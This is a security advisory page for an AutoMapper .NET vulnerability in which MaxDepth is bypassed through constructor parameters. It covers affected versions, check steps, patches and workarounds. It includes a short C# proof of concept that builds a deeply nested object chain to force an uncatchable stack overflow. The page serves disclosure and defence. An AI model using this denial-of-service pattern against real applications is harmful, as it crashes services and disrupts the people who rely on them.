---
id: "CVE-2026-128082"
page: "https://infrastack.ai/live/CVE-2026-128082"
kind: "vulnerability"
aliases: ["CVE-2026-128082", "GHSA-6vhm-j9h7-f9gh"]
title: "AutoMapper: Uncontrolled Recursion with Constructor Parameters"
severity: "high"
cvss: 7.5
epss: null
exploited: false
status: "open"
category: "package"
products: [{"name": "AutoMapper", "fixed": ["16.3.0"], "affected": ">= 16.0.0, < 16.3.0", "ecosystem": "nuget"}, {"name": "AutoMapper", "fixed": ["15.1.4"], "affected": "< 15.1.4", "ecosystem": "nuget"}]
ecosystems: ["nuget"]
tags: ["automapper", "csharp", "cwe-674", "dotnet", "package", "records"]
not_affected_if: ["flat-or-trusted-input", "no-recursive-constructor-types", "versions-outside-range"]
published_at: "2026-11-13T19:19:30+00:00"
first_seen_at: "2026-11-13T19:23:54+00:00"
updated_at: "2026-11-13T19:52:09+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-6vhm-j9h7-f9gh", "first_seen_at": "2026-11-13T19:23:54+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-128082", "first_seen_at": "2026-11-13T19:52:09+00:00"}]
exploit_sources: []
---

# AutoMapper: Uncontrolled Recursion with Constructor Parameters

Link for people: https://infrastack.ai/live/CVE-2026-128082 (this .md is for agents)

AutoMapper's MaxDepth limit is not enforced when recursion goes through constructor parameters, such as positional records. Mapping deeply nested attacker-influenced data to such a type overflows the stack, which cannot be caught and terminates the process.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- nuget:AutoMapper affected >= 16.0.0, < 16.3.0 fixed 16.3.0
- nuget:AutoMapper affected < 15.1.4 fixed 15.1.4

## How to check

- Check the AutoMapper version in your lock file or `dotnet list package`; affected versions are 16.0.0 to below 16.3.0, and below 15.1.4.
- Look for `CreateMap` calls on types with recursive members that are built through a constructor (positional records, `ConstructUsing` calling `context.Mapper`).
- Check whether mapped input can come from outside and be deeply nested.

## Fix

- AutoMapper 16.x: upgrade to `16.3.0`
- AutoMapper 15.x: upgrade to `15.1.4`

## Timeline

- 2026-11-13T19:23:54+00:00 ghsa https://github.com/advisories/GHSA-6vhm-j9h7-f9gh
- 2026-11-13T19:52:09+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-128082

## Documents

- [advisory] Maintainer's advisory: api.github.com https://api.github.com/repos/LuckyPennySoftware/AutoMapper/security-advisories/GHSA-6vhm-j9h7-f9gh
- [advisory] Maintainer's advisory: github.com https://github.com/LuckyPennySoftware/AutoMapper/security/advisories/GHSA-6vhm-j9h7-f9gh
- [fix] Patch: github.com https://github.com/LuckyPennySoftware/AutoMapper/commit/4d51a4b8125b4d2302f2f1f455747c9648ad1acb
- [fix] Patch: github.com https://github.com/LuckyPennySoftware/AutoMapper/commit/639c2748cb9d3d07df8b86879ba7bcf211675c86
- [fix] Release: github.com https://github.com/LuckyPennySoftware/AutoMapper/releases/tag/v15.1.4
- [fix] Release: github.com https://github.com/LuckyPennySoftware/AutoMapper/releases/tag/v16.3.0

## From the sources

### Summary
`MaxDepth`, whether set explicitly or applied by default (64) to self-referential type maps, was not enforced when the recursion goes through constructor parameters. Mapping a deeply nested source to a destination built through its constructor, such as a positional `record`, recurses without bound and throws a `StackOverflowException`. That exception can't be caught and terminates the process. This bypasses the mitigation for CVE-2026-32933.

### Details
The type depth used by `MaxDepth` was incremented only after the destination object was created. Constructor parameters, including child objects of the same type, are mapped while the destination is created, so each level recursed before its parent was counted, and the depth check never tripped.

Affected:
- destination types mapped through constructor parameters, including positional records
- both an explicit `MaxDepth(n)` and the default limit of 64
- `ConstructUsing` that maps recursively through `context.Mapper`

With `MaxDepth(10)`, a 100-level chain was mapped to all 100 levels. On a 1 MB stack (the Windows default), the process crashed at between 1,000 and 2,000 levels.

### PoC
The type only has a constructor with positional arguments, and `MaxDepth` is set to 10:

```csharp
using AutoMapper;


// Setup configuration - with MaxDepth set
var mapper = new MapperConfiguration(cfg =>
    {
        cfg.CreateMap<CircularClass, CircularClass>().MaxDepth(10);
    })
    .CreateMapper();

// Create a deeply nested object (28,000+ levels)
var root = new CircularClass(null);
var current = root;
for (int i = 0; i < 30000; i++)
{
    current.Next = new CircularClass(null);
    current = current.Next;
}

// STACK OVERFLOW even though the max depth is set
var mappedRoot = mapper.Map<CircularClass>(root);


public class CircularClass
{
    public CircularClass(CircularClass? Next)
    {
        this.Next = Next;
    }

    public CircularClass? Next { get; set; }
}
```

### Impact
Any application that maps attacker-influenced, deeply nested data to a destination type built through a constructor, with a recursive member, can be crashed. Setting `MaxDepth` as recommended for CVE-2026-32933 doesn't protect these mappings.

### Patches
Fixed in 16.3.0 and 15.1.4. The depth is now counted before the destination is created, so constructor mapping stops at the same depth as property mapping.

### Workarounds
If the destination type has a parameterless constructor and settable properties, `cfg.DisableConstructorMapping()` makes AutoMapper map through the properties, where `MaxDepth` is enforced. Positional records have no workaround other than limiting input depth before mapping, or upgrading.

### Credits
Reported by @mcambria, who found it while writing a test to confirm their `MaxDepth` mitigation for CVE-2026-32933.

### Related
- CVE-2026-32933 (GHSA-rvv3-g6hj-g44x)
- GHSA-gpwp-5797-mjff: other paths that bypassed `MaxDepth` (polymorphic maps, runtime-typed members, dictionary and dynamic sources, recursive type converters), fixed in the same releases.

---

_Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai_